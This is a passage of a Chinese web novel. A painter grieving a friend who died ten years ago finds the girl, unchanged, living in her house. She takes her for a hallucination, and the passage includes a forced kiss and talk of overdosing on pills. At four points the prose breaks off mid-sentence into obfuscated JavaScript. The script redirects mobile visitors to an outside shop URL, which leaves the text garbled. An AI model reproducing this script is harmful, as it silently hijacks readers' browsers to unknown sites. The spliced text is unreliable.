“你在哪里?”裴重溪猛地睁开了眼睛,突然从床上坐起来。 她的怀里没有少女温热的躯体,有的只是一个被抓得皱巴巴的枕头。 床上的一切都是皱巴巴的,床下只有她一人的拖鞋,其余剩下的什么都没有,好像昨天晚上的梦境只是一场幻觉。 好不容易睡一觉的慵懒感,在此刻全然消散,剩下的只有心脏扑通扑通猛烈跳动的声音,每一下跳动都让裴重溪有点喘不过气来。 她梦到了以前和安茸住在出租屋里过年的场面,她们也没钱买什么东西。 裴重溪从小在孤儿院里长大,她的性格孤僻,和旁人都处不好。 大约也是她的性格不好,所以在刚出生的时候,就被家人丢弃在了福利院门口。 安茸家在山区,一个人考到了城市里的高中,家里无力负担学费,靠镇上的奖励和学校里的奖学金减免了一部分学费,这才能持续地上学…… 两个苦命的女孩子为了更好的生活只能不停地打工,不停地打工。 安茸和裴重溪的手上都有明显的冻疮,在冬天会发痒,安茸的要更加严重一点。 她总是嘲笑自己学得不是很好,所以就算找兼职,也只能找一些力气活来干,不像裴重溪还可以卖自己的学习笔记。 裴重溪低头看着自己指节分明的手指,看不到一点被风雪冻过的痕迹。 但在梦中,安茸被冻得发红发青的手指还历历在目。 “所以一切都是我的幻觉。” 床上的女人露出了一抹凄惨的苦笑。 人果然还是贪心的,昨天她只想能够安稳地睡一觉,今天早上醒来却渴求更多。 裴重溪把安茸送她的项链一圈一圈缠绕在了手腕上,脸上的表情再次变得寡淡。 她走到了和卧室直对着的一个房间,推开门,看到的是一个黑白色的遗像。 穿着校服的女孩局促地看着镜头,腼腆地露出了一个笑容。 她垂着两个麻花辫,辫子上绑了花皮筋和小夹子,似乎正在和相机后面的人招手。 裴重溪从柜子里拿出了香,用打火机点燃。 “十年了,我终于梦到你一次了,是不是代表你没有很讨厌我?” 燃烧的檀香插在香炉里,站在黑白照片前的女人用哀戚的语气说,“安安,再给我一个机会梦到你吧。” …… 正在楼下厨房煮面条的安茸猛地打了一个喷嚏。 来帮忙的阿姨赶紧上前询问:“小姐,不然我来做吧?” 阿姨悄悄地打量着安茸。 这家的雇主给的钱多,活又少,经常是见不着人的,除了日常的打扫清洁之外,就是简单地做几道菜。 今天阿姨一推门进来,看到的就是一个陌生的小姑娘。 这姑娘穿着明显有些宽大的衣服,身上也是雇主常用的那款香水的味道,表情明艳,瞧着才十七八岁的样子。 “哎,不用不用,我自己来煮吧。” 安茸动作熟练地起锅烧水,给自己煮了一碗清汤挂面。 阿姨没有多说,在旁边开始熟练地拌肉馅包馄饨。 安茸眨巴着眼睛,看阿姨的动作娴熟,她双手托着腮,腼腆地询问:“阿姨,一个月工资多少啊?” 突如其来的询问,让阿姨猝不及防了一下。 “我年过半百的阿姨指了指自己。” 她想这姑娘可能是雇主的妹妹吧,现在约莫是寒假期间,可能临时来玩的。 阿姨说了一个数,安茸的眼睛陡然瞪大:“哇,那么高。” 阿姨眼中又不掩自豪:“是的,我干活勤快,许多雇主都喜欢我,都争着抢着要。哈哈,之前我回家照顾小孩,有的雇主舍不得我走,千叮咛万嘱咐我一定要回来继续上班。” 阿姨见安茸是个活泼的性格,不由得想起了自家小孩,多说了好几句。 安茸眨巴着眼睛,面条也不吃了,她双手扒在桌沿上,身体往前倾:“那阿姨,我也能干这行吗?我给人打扫卫生可麻利了。” 这一句话可把阿姨给吓着了,阿姨连忙摆手,一看安茸这性格,就是被雇主精心宠着长大的,哪里像是会干活的样子。 阿姨赶紧说:“哎呀,这不是你们小姑娘该做的事情,你们小姑娘以后读书是要赚大钱的。” 安茸缠着阿姨非要问个究竟,最终阿姨只得无奈地从上衣口袋的内侧拿出了两个证件:“喽,做家政是要考证的。你们年轻人考的都是会计证、教师资格证、什么经纪人证、建造师证。哪像我们,只能考这种证……” 阿姨说到此处,表情有些尴尬。 安茸凑上前仔细看了看,说:“这也很厉害啊。” 安茸在心里补充了一句:不像我只有初中毕业证,连高考都没参加,人就没了。 安茸稀里哗啦地把一碗面条吃完,顺手把碗给洗了,没给阿姨添加工作负担。 她掰着手指头数了数身上还有的零钱。 十多块的纸币和钢镚之外,剩下的什么都没有。 安茸现在又没有手机,放在客厅的平板她又不会用,想要出去找工作,还得和裴重溪好好商量商量。 安茸一想到自己穷得叮当响,整个人都像只耳朵垂下的猫,叹了一口气,接连着又叹了好几口。 失落地走到了门边,突然回头询问阿姨:“姨,您知道这房子值多少钱吗?东西是不是都特别贵啊?” 安茸对十年后的物价一无所知,只知道这房子若放在十年前,也是贵出天际的。 阿姨先愣了一下,随后想了想回答一个数:“如果算装修,基本是和房价一比一或者一比二。” 阿姨掰着手指头算了一下整个房子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323623|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面积。 安茸听后,整个人都不好了。 阿姨看她只是小姑娘心性,笑说:“你也想在这附近买一栋?” 若说是雇主家的小孩在这买房倒是也合情合理。” 安茸沉默了好一会儿,小声说:“你也是看得起我,我住在这连房租都交不起。” 安茸把脸彻底埋在了双手里。 她在这不得不考虑一个实际的问题,那就是自己没有任何可以称得上拿得出手的技能,该怎么负担生活成本。 正在安茸和阿姨一句一句闲聊时,楼梯上方突然传来了由远及近的脚步声。 阿姨立刻闭上了嘴,连干活的动作都变得迅速了许多。 安茸还在继续和阿姨搭话:“那车库里的车大概值多少钱啊?我看有好几辆,都是我没见过的牌子。” 迎接安茸回答的是一段沉默。 安茸奇怪了好几秒,突然抬头看到了一双黑黝黝的眼睛。 裴重溪手里拿着一瓶白色的药瓶,陡然间看到安茸正站在门边。 女孩依旧穿着她的家居服,柔软的长发被梳成了两个十分俏丽的麻花辫,正垂在背后,随着她的动作一甩一甩的。 在看到裴重溪的瞬间,安茸的眼睛突然亮了,她三两步跑过去,一把按住了裴重溪的肩膀。 裴重溪站在楼梯上,精神还在恍惚着,低头看了看手中即将要放入口中的精神类药物。 裴重溪不知道要吃一片还是两片才能继续看到幻觉,只能一点点试出来…… 再看到面前活灵活现的安茸,她似乎能够闻到对方身上属于酱油汤面的味道。 和从前一样,安茸喜欢在汤里面加白胡椒粉和很多醋。 裴重溪的精神陡然恍惚,她进也不是,退也不是,整个人宛如僵硬的雕塑般,被安茸按住肩膀。 然后整个人被按在那玻璃楼梯扶手上—— 安茸的眼睛亮晶晶地说:“裴姐姐,我有件事要和你说!” 在安茸的动作中,裴重溪手里的药瓶撒落在地,白色的药片顺着楼梯噼啪滚了下去。 少女和她离得极近,两个人的鼻尖都快要撞在一起。 安茸说:“我给你打工怎么样?我可以给你干活来换取在这里的住宿权。我吃的不多,只需要睡一间小房间就行了,穿的也不多,可以穿你不用的旧衣服。” “裴姐姐,如果你放心,可以交给我出去买菜,我绝对可以给你省好多钱!我可会还价了!” 迎接安茸的是一阵长久的沉默。 安茸先是急了,说:“裴姐姐,我们以前在那小屋子里的时候不都是这样吗?你负责好好学习卖学习笔记,我在外面打工买菜,和现在也没什么区别。” 裴重溪的瞳孔微微放大,她低头看着沿着阶梯往下滚落的药片。 猝不及防地,一个温暖的脸颊贴在了她的脸颊上。 小姑娘用自己的脸颊蹭了蹭裴重溪的脸颊,然后撒娇般地一头埋进了裴重溪的怀里,用嘴唇蹭着她的锁骨。 安茸的声音娇气地拉长:“裴姐姐,你现在有钱了,不能不管我啊!” “只要给我一点点钱,让我有个住的地方,我什么都会做的,姐姐——!” 9. 第 9 章 裴重溪被突如其来的动作弄得节节败退。 后腰靠在了玻璃扶手上,目光缓缓从滚在地面的药片收回,落在怀中的安茸身上。 如果这是幻觉,那希望长久一点吧。 裴重溪微微仰着头,方便安茸更加深入她的怀抱,也方便安茸继续在她的怀里哼哼唧唧拉长语调。 裴重溪说:“我也没比你大两个月……” “但是姐姐就是姐姐啊。” 安茸小声地嘟囔着,“我从小就想要个姐姐,这样可以护着我,到哪里感觉都有个依靠。这不上天就把你送到了我身边。” 安茸仰起头,露出了一个有点傻气的笑容,“所以现在姐姐发财了,能不能给我一个工作的机会?” 裴重溪说不出任何拒绝的话,她稀里糊涂地答应了。 安茸一听她松口,整个人都乐开了花。 “好,那我现在给老板您去煮碗馄饨。老板还要什么?一并吩咐我。” 裴重溪按了按太阳穴,心想自己真是疯得不轻。 “加一个鸡蛋吧,别的不用了。” “哎,好嘞。” 安茸一蹦一跳地下楼。 裴重溪一人靠在栏杆上,她没让阿姨收拾地上的药片,而是弯腰一颗一颗地将药片收拢在了掌心中,数出了三片,犹豫着,最终还是没有咽下去。 随着“咚”的一声,药罐和药片同时落到了垃圾桶里。 医生说,如果不是很严重的失眠,不需要吃这种药。 裴重溪坐在椅子上,阿姨把活干完后安静离开。 很快,偌大的别墅里只剩下了裴重溪和安茸两个人。 安茸把一碗热腾腾的煮小馄饨端到裴重溪面前。 她一手托着木质托盘,另一只手握住碗沿,整个上菜的动作行云流水。 在一碗小馄饨上漂浮着香油、一点辣椒油和一把小葱花。 没过两秒钟,一个锅铲盛着的煎鸡蛋放在了小馄饨上。 “你尝尝看,溏心煎鸡蛋。” 安茸记得裴重溪不喜欢吃煮熟的蛋黄,又不喜欢吃全生的蛋黄,是个很挑剔的性格。 安茸手里举着锅铲,笑着回头看:“怎么样?我的手艺和以前一样吧。” 裴重溪舀了一勺汤送入口中,过了良久后微微点头。 “备用机和现金放在桌上,如果你有需要可以随时出门。” “哦哦,好。” 安茸应了一声说,“可我不太会用现在的智能手机。” 裴重溪沉吟了片刻道:“在备用机里存了我的号码,如果你有遇到任何问题都可以来找我。手机的功能不复杂,你自己摸索着用。” 安茸小声地“哦”了一声。 毕竟白得一个手机,安茸也没有多在意。 她姐姐真好啊。 安茸心满意足地想。 “我白天还有事。”裴重溪按着发胀的太阳穴说,“要出去一趟。至于你……” 裴重溪不知道该怎么处理这个幻觉中多出来的人。 她早上还给安茸上过香,现在安茸活生生地站在她的面前。 十年了,人的相貌怎么可能没有丝毫改变? 裴重溪匆匆把一个煎鸡蛋吃完后,只吃了小半碗馄饨,就放下了勺子。 她擦了擦嘴,垂眸说道:“你如果今天晚上还想回来的话,就回来吧。” 说完,裴重溪站起身。 她深深地看了一眼安茸,嘴角扬出了一抹晦涩的苦笑。 “安安,过来一下。”她招招手。 安茸正在研究洗碗机该如何使用,闻言立即噔噔噔地跑了过去,扬起了脸颊,对裴重溪露出了一个不解的、非常可爱的笑容。 “老板,你有事找我啊?” 裴重溪沉吟了片刻说:“不用叫我老板,喊我姐姐。” “哦哦,裴姐姐。” 安茸心想,刚还说没比她大几个月,现在又让她喊姐姐。 裴重溪指了指自己的脸说:“你再亲我一下。” 不是亲两边的脸颊,而是对准了自己嘴唇的位置。 “什么?”安茸的眼睛陡然瞪大,她不解,但是很确定自己没有听错。 果然裴重溪的压力还是太大了呀,和以前一样,学习压力一大,就爱和她亲亲蹭蹭混在一起。 一个人的性格就算过了十年都不会有太大的改变。 安茸心里对裴重溪的工作产生了深深的怜悯。 最终,她张开双臂,用力抱住裴重溪,然后“吧唧”一声,双唇印在了裴重溪的唇上。 “现在可以了吗?” 少女的嘴唇极为柔软,口腔里还带着点薄荷糖的味道。 安茸把她抱得很紧,似乎还是嫌不够,安茸又用力“吧唧”了一下,直到把裴重溪的双唇亲得有些红。 如果这都算是幻觉的话…… 裴重溪的大脑一阵嗡嗡作响—— 果然都是幻觉。 现实中的安茸只会骂她“发什么疯”,然后…… 裴重溪的思维陷入到了一片凝滞当中。 她在现实中没有和安茸提过这样无理的要求,她知道安茸只把她当朋友。 安茸心思单纯,和她这种心理阴暗的人自是不同的。 随即,两只手托起了裴重溪的脸颊。 安茸看她走神,不解地又“吧唧”了一口,把裴重溪的嘴唇亲得发红,上面又镀上了一层水光。 “现在可以了吗?已经三个了。老板,你这样是在性骚扰你的员工。” “可……可以了——” 明明提出过分要求的人是裴重溪,现在落荒而逃的人也是她。 裴重溪整个人被亲得都有些懵,匆忙穿上了外出的衣服,慌不择路地离开。 因为走得太急,今天甚至忘记插上放在门口的白菊花。 在一片以暗色调为主的别墅里面,一缕光洒在站在厨房的少女身上。 裴重溪行至门口,突然回头看了一眼。 安茸伸出胳膊和她招手。 “如果老板欺负你,你要不就辞职吧。现在你都那么有钱了,别总是被老板当牛做马使唤,不然你岂不是白读那么多书了。” 裴重溪的嘴唇动了动,最终没有澄清事实,转身离开。 “好了,现在我得开始工作了。” 安茸研究好洗碗机,拍了拍身上明显不合身的围裙,哼着歌,找来了一个大纸箱子,要继续开始收拾酒瓶子了。 安茸叹了一口气,自言自语说:“裴重溪怎么那么能喝啊?我记得她以前还在学校里演讲说要拒绝烟酒来着。” 安茸嘴里一边嘟囔着,一边把所有开了封的酒瓶子全部扔到箱子里。别墅里什么样的酒都有,中的,洋的,还有一些不知道产自地球哪个角落的种类,里头颜色诡异的发着绿光,里面泡的不知是真的还是塑料的动物骨头,用英语写着“通灵”的单词,还有些看着像是自酿酒。 安茸打开瓶塞子嗅了一下,呛得直咳嗽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323624|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “裴重溪别把自己给喝死了。” 安茸干活麻利,她收了裴重溪放在桌上的两千块钱现金,自然是做事处处周到。 以至于太周到了,把整个二楼画室里的酒瓶子全部收拾干净。 …… 当裴重溪忙了一通,回到画室准备继续工作时,看到的就是一片空旷。 裴重溪的身体长期受到了酒精的刺激。 现如今没有酒精,在外工作一天的裴重溪蹙眉在画室里走来走去,用手指不断抓着头发,大把大把的长发被十分粗暴地抓下,丢在了地板上。 “安安,你在哪里?” 裴重溪在房子里走来走去,时不时地叫一声。 迎接裴重溪回答的是一片寂静。 放在茶几上的手机和现金不见了,整个别墅被打扫得干净得像没有第二个人居住。 裴重溪的情绪前所未有的焦虑和暴躁。 她踱步走到了垃圾桶边上,想找出今天早上丢掉的药品。 如果多吃一些,有没有可能见到安茸? 裴重溪在说明书的不良反应那一栏看到有“幻觉”的字样。 如果多吃一点,应该可以的吧。 裴重溪按着逐渐变痛的太阳穴。 她很需要酒精来安抚精神。 她甚至不知道家里的酒瓶子到底是真的存在,还是因为某种精神上的问题而使她视而不见。 强烈的燥意袭来。 戒断反应让裴重溪极其疲惫和烦躁。 好死不死的,手机铃声在此刻响起,一看是无关紧要的号码,裴重溪将手机“砰”的一下砸向了门边。 随着电子产品的破碎声,手机陷入到了一片安静中。 “你在哪里……” 裴重溪头痛欲裂,侧躺在沙发上。 她的浑身都在出冷汗,指甲刮蹭着皮质沙发,后脑像是有电钻正在往下敲打。 她其实对酒没有太多的瘾,更多的是心病。 心理医生的话出现在裴重溪的脑海中。 她喝酒更多的原因是想要再看到安茸一面。 为什么就那么难? 沙发上的女人头痛欲裂。 不知何时,门被吱呀推开了一条缝。 片刻后,一个玻璃杯送到了裴重溪唇边。 “你喝点水。” 安茸看到这一幕快要吓疯了。 她今天把酒瓶子卖了好多钱,用这些零钱在外头菜场买了排骨和一条鱼,打算做点大鱼大肉给裴重溪补补身子,顺便自己也一饱口福。 结果回来就看到裴重溪躺在沙发上浑身冒冷汗。 熟悉的气息传来,裴重溪挥手打开了玻璃杯,温水洒在了地毯上。 突然,裴重溪用力抱住了安茸。 裴重溪身体颤抖地将头埋在了安茸的脖颈间。 “安安,是你吗?你到哪里去了?” 嘶哑的、像是从黑暗深处发出的声音让安茸浑身起了一层鸡皮疙瘩。 裴重溪埋在安茸的颈侧,一字一顿说:“安安,你来找我了。” 没有你,我连正常工作都做不到。 不要走。 命运多可怜可怜她吧。 安茸被裴重溪现在的样子给吓到了,她小声说:“裴姐姐,你是不是生气了?我把你的酒瓶子都卖钱了,我……是不是卖掉了很贵的东西?” 裴重溪嘴角扬起了一抹自嘲的笑容。 “不贵。不是什么值钱的东西。” 10. 第 10 章 “你这样真的没问题吗?不需要去医院瞧一瞧?” 安茸充其量只是个十八岁的高中生,遇到这种棘手的问题,还真是不知道该怎么处理。 裴重溪抬眼,用一双黑得不见底的眸色紧盯着安茸,把安茸盯得浑身都起了一层鸡皮疙瘩。 “怎么了?”安茸小声说,“你真的不生气?我可告诉你,把我卖了都卖不了那么多的酒钱。” 安茸越说越觉得有点委屈。 越说安茸好似是真的要被遗弃般,快要委屈地哭了出来。 她想现在如果去找那个收瓶子的大娘,不知道还能不能找到。 安茸嘀嘀咕咕地说了好多,裴重溪就这样静静地听着她说。 后脑的疼痛与身体的躁意,在这一瞬间突然消失,浑身上下都是说不出的舒服,好像又回到了正常的身体状态。 一只手落在了安茸的手腕上。 裴重溪道:“那些酒不是什么很贵的东西。” 安茸嘀咕说:“你们这些有钱人买的估计都特别贵。” 裴重溪说:“我也没什么钱,你知道的,我一没背景二没资源,勉强混口饭吃罢了。” 说完这句话后,安茸的表情变得更加怪异。 “还说没钱,没钱能住在这么个上三层下两层的大别墅里吗?而且看这样子怕……” 裴重溪轻声说:“都是一些假酒,我并没有什么鉴赏酒精的能力。” 安茸半信半疑。 裴重溪点头说:“真的。” 安茸这才松了一口气。 她被裴重溪刚刚发病的样子给吓到了,现在仍心有余悸,也不知该如何安慰裴重溪才好。 从前裴重溪是个胆子不算大的性格,一到雷雨天气就会往她怀里缩,非要两个人钻到一个被窝里,身体挨着身体才能勉强睡着,有时候半夜还会吓哭,非要她抱一抱、拍一拍后背才行。 也不知道一个人时,她怎么过日子。 安茸思及此处,拉过了裴重溪的胳膊。 她一个翻身,整个人都压在了裴重溪身上。 裴重溪呼吸一滞,就这样任由着安茸的动作。 在裴重溪横躺在沙发上,安茸一只手拍拍她的肩膀,另外一只手捞起了裴重溪的胳膊,在上面亲了亲。 “我发现你这个人特别娇气。” 安茸边嘟嘟囔囔地说,一边用嘴唇亲了亲裴重溪的手腕内侧,那是靠近脉搏的位置。 女孩的亲吻像是小鸡啄米似的,看不出有多少来自成年人之间情爱的成分,反而像是十足十的怜悯,像是在亲一个最珍贵的宝物,又像带着某些天然的治愈力。 一串亲吻从手腕内侧延伸到了小臂胳膊上,那是裴重溪受伤的位置。 “现在还疼吗?” 裴重溪的幻觉又加深了。 安茸嘟嘟囔囔的询问的话语,裴重溪一个字都没听明白。 安茸也不气恼,想要学着从前雷雨天气那样,好生把裴重溪安抚一顿。 结果下一秒,两个人上下的位置突然颠倒,安茸被用力按在了沙发上。 随着突然的失重感,安茸“啊”地尖叫了一声。 她想要挣扎起来,但是根本在裴重溪面前就手无缚鸡之力。 “你干什么?”安茸质问一句,声音变小,“我警告你啊,你不许欺负我。不然,小心我,小心我……” 安茸重复了两遍,终于找对了词汇说,“小心我去劳动仲裁你。你这可不是一个好的雇主该干的事情。” 安茸一边嘟嘟囔囔着,一边小心注意着裴重溪的神色,害怕她又发病浑身冒冷汗。 可是少女的心思显然没有被尊重对待,迎接安茸的是一个猛烈的亲吻。 “是你先亲我的。” 裴重溪眼眸深沉,手指用力按住了安茸的两个胳膊。 就连安茸垂下的两条编得精致的麻花辫,也被一同握在了手里,完全是不讲道理的恶霸的形象。 “裴重溪!”安茸大声喝了一声,“你到底在干什么?你,你别这样……” 安茸说着,她自己都快要哭出来了。 这算是什么事啊! “你别这样……别,如果被别人看到了……” “这里不会有别人。” 决绝的声音浮现在安茸的耳畔,“不会有除了我们之外的任何人。” “万一……”你的上司,你的同事知道了,你会丢工作的…… 安茸的话还没说出两个字,剩下的内容全部被咽在了喉咙里。 裴重溪的这个行为明显已经超过了朋友之间的界限。 而在正规单位里面传出是同性恋的消息,这会遭人耻笑,甚至被解雇,说不定有的时候还会登上社会新闻报道。 安茸的身躯颤抖得厉害。 一行眼泪从眼角划过。 她的嘴唇被撬开,一只手掰住了安茸的下巴,迫使着她把嘴张得更大。 安茸不敢有动作,害怕伤到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323625|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了裴重溪受伤的胳膊,只能迁就着对方。 两人从前的亲吻仅局限于嘴唇之间的碰碰,哪里像现在彻底的攻城略地,尝尽了滋味。 安茸浑身都冒着一层粉红色。 她呜咽地哭着,哭得好不可怜。 她姐姐可是好不容易才变得那么有钱,虽然自己也不知道裴重溪就职于哪家公司,但是能赚那么多钱,必定也是承受着极大的压力。 说不定老板会眼红裴重溪赚得多,而要找个机会把她开除了。 不是之前有好多欠薪讨薪的新闻嘛。 安茸想起了之前看到的糊窗户用的报纸,又想起了在烤鱼店打工,老板指着她的鼻子说:“雇佣你这个未成年本来就是我承担的责任,你还不好好感激我,还要加班费?” 安茸并不大的世界观里,老板基本上都是这样的角色。 很快安茸就没有更多心思想这些了。 “安安,你在走神。” 裴重溪结束一个亲吻,安茸已经连气都喘不匀了,一双脸颊桃红地盯着她,眼里浸满了泪水。 “对不起。” 裴重溪干完这畜生事后才意识到自己的行为有问题,“我没控制住。” 裴重溪刚一道歉,安茸便像一条滑不溜手的鱼似的逃走了,十分戒备地站在沙发前头。 安茸左顾右盼,看了好几眼,确定刚刚两人的行为没有被任何人瞧见。 “我警告你啊,你下次不许这样了。不然你流落街头的时候,我可不会养你。” 安茸像只猫似的溜走,从地上捡起买的排骨和鱼,她小声落下一句,“我给你做饭。”然后彻底跑了。 只留下裴重溪一个人靠坐在沙发上。 “像我这种人真是畜生不如。” 裴重溪自嘲地笑了一句,从茶几上拿来一本便签本,又拿出随身携带的钢笔。 安茸身穿着她的衣服,身上套着明显不合适的围裙,在厨房里处理新鲜的鱼肉。 察觉到裴重溪注视来的目光,安茸瞪了她一眼,又立刻低垂下眼睛继续手里的事。 “今天的事我就当从来都没有发生过,也不会和别人说。” “你,你注意点——” 生动形象的人物速写出现在裴重溪的钢笔之下。 裴重溪笑说:“难不成你报警把我抓走?” 安茸的嘴唇抖了好几下,头越来越低,说:“同……同性恋是不对的,是不好的东西……你别一错再错了。” 11. 第 11 章 “裴重溪,你不能每天都不吃晚饭,小心会胃痛的。” 安茸双手叉腰站在裴重溪的画架对面,皱着眉头,用鞋尖不断踢着裴重溪面前的木头架子说:“你晚饭不吃也就罢了,你中饭也不吃,你一天天是怎么过的啊?” “如果没有我在,你迟早有一天都能把自己给饿死。” 安茸越说越激动,一想起裴重溪这个动不动就这难受那难受的身子,活像是个该养在城堡里的娇气公主。 安茸环顾了一周,越说情绪越是无奈:“而且你整天住在这暗无天日的房子里,真的不会对你的健康产生问题吗?” 安茸见到四周不是黑的,就是白色的墙,厚重的黑布帘子隔绝了外头的阳光。 头顶的日光灯倒是足够亮堂,但是再亮的灯也比不过阳光。 呆久了,连安茸自己都快要抑郁了。 “快点,我炖了萝卜骨头汤,你下去喝一点。” 安茸用手摇了摇裴重溪的肩膀,不断地催促她赶紧停下工作,马上就去吃饭。 相比安茸的着急,裴重溪就显得非常冷静了。 她的一双黑沉沉的眼眸紧盯着面前的画作,没有分给安茸一丝一毫的心神,就好像安茸这个人根本不存在一样。 确实只是她的幻觉。 裴重溪按了按发胀的太阳穴。 她的幻觉越来越严重了。 从前不管再难受,只要坐在画架面前,就能很快冷静下来,进入工作状态。 但是现在连工作状态都会被打扰。 腹部传来了一阵空虚的胀痛感。 她中午喝了一点咖啡,晚上同样也喝了一点咖啡,现在心跳得有点快。但是工作更加重要,距离交稿的日期没有太久了。 经纪人虞山时不时会发来消息问候,饶是裴重溪也不能做到视而不见。 “你一个人玩会儿,我现在还有事情,没空搭理你。” 裴重溪颇为不耐烦地丢下了一句话。 安茸当即愣在原地。 她嘟囔了一声:“我是收了你的钱财,为你工作的啊。如果是别人,我才懒得管她,就算那人饿死也和我没有关系。” 安茸十分生气地说了一句,“人怎么能不吃饭?现在又不是上学的时候,中午来不及吃饭,匆匆吃一片面包果腹。” 再说了,裴重溪现在连面包都没得吃,喝那苦不拉叽的咖啡,也不知道会不会把身子喝坏。 裴重溪默默地收回了目光,她的余光却一直落在了安茸身上。 当这个幻觉站在她面前时,裴重溪根本没有办法把所有的注意力都放在面前灰暗的油画上,怎么看都觉得过于压抑了一些。 一阵心烦意乱。 裴重溪拿着画笔的手微微颤抖。 是低血糖。 裴重溪“啧”了一声,动作熟练地从口袋里拿出一颗薄荷糖要塞到口腔里。 结果下一秒,两只手突然按在了裴重溪的肩膀上。 “裴重溪,你不要再闹脾气了!你这人又不爱去医院,你从来都身体不好。记得你晚自习低血糖,是我背你去医务室的吗?” 安茸的动作十分强悍,甚至可以说得上粗鲁地把画架踢开,迫使着裴重溪与自己对视。 “裴重溪,你稍微听话一点好不好?我足足炖了两个小时的汤,怎么到你眼里就没有这幅画重要?你们老板到底是谁?我去打电话,帮你问个清楚。” 裴重溪:“……”没老板,非要说老板的话就是她自己。 裴重溪一阵无言。 她晦暗的眸光落在了面前的安茸身上,仔细嗅闻着安茸的袖口和脖颈上散发着萝卜排骨汤的丝丝缕缕的好闻香气,光是闻起来就很好吃。 坐在椅子上的裴重溪依旧没有动弹。 她皱着眉头,不知道在思索着什么。 安茸才不管她在想什么,强硬着把她拉到了楼下。 “你先吃。” 光是这一下拉扯的动作,就让低血糖的裴重溪踉跄了好几步,差点从楼梯上摔下去。 安茸可不敢让她一个人下楼梯,“你真是娇小姐的犟脾气。” 裴重溪半靠在楼梯扶手上,抓了一把头发,眼中渐渐有困惑浮现。 这到底是真的还是假的? 若是真的,安茸怎么可能还是十年前的相貌,连性格也没有什么变化? 那如果是假的,她的幻觉已经辐射到了可以嗅到虚假的饭香味了。 安茸不知道裴重溪在想什么,以为她又是在闹脾气。 “你这人怎么那么难伺候。”安茸自顾自地说了一句,随后她双手捧起了裴重溪的脸颊,“吧唧”一口亲在了裴重溪的双唇上。 “这下可以了吧?你真的是好难哄啊。” 裴重溪:! 突如其来的亲吻,让裴重溪的眼睛倏然瞪大,不可置信地看着面前的安茸。 十八岁的少女眼睛瞪得溜圆,一副“你这下总算满意了吧”的无奈表情。 “好了,快点去吃饭。” 安茸半是叹息,半是得意。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323626|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搀着裴重溪下楼,把人安排在椅子上。 面前的砂锅里是炖得软烂的萝卜排骨汤,还有一碟清炒蔬菜。 安茸解下围裙搭在一旁的椅背上,双手抱胸,得意地抬头哼哼说:“尝尝我的手艺怎么样吧?我在饭店后厨打工的时候偷偷和里面的大师傅学的。” 裴重溪面前多了一碗热汤。 “饭前喝喝汤,看你嘴唇都发白了。萝卜补气血,你多吃点。” 全程裴重溪都没有多说话。 她工作被打扰的不悦渐渐消散,扑面而来的则是一种“整个世界都疯了”的荒诞感。 或许应该在家里装一个摄像头。 裴重溪不喜欢被注视的感觉,故而别墅里没有一个摄像头。 裴重溪按着痛得更加明显的太阳穴想,如果摄像头真拍到人,那就是闹鬼了。 没有拍到人,只能证明她病得无可救药。 一柄白瓷勺子塞到了裴重溪手中。 裴重溪迟迟没有喝下浓郁鲜香的热汤。 安茸最终是看不下去了,一把夺过她手里的勺子。 裴重溪错愕地抬头看面前的人。 “安安,不用这样,我自己可以吃饭。” 她话音未落,安茸已经舀了一勺热汤在自己嘴里吹了吹,用双唇试试温度,然后将汤勺抵在了裴重溪的双唇间。 勺子撬开了苍白的唇,将热汤灌了进去。 裴重溪:“唔——!” 甜美浓郁的汤底混合了萝卜的清甜、排骨的浓郁肉香,喝着并不腻。 一口下去,从食道一直暖到了胃部。 突如其来的温暖,让裴重溪浑身都打了一个颤。 “你真是难伺候,除了我还会有谁这样宠着你。” 安茸用筷子将炖得软烂的排骨脱骨,夹成小块送到裴重溪唇边,“啊,张嘴。裴姐姐吃完之后好歹告诉我好不好吃呀,别总是不说话。” 安茸自顾自笑着说:“没想到我拿的工钱里还有喂你吃饭这一项。” 裴重溪把口中的食物机械性地咽了下去。 味道确实不错,她刚想要开口夸赞,一个突如其来的吻就落在了裴重溪的额头上。 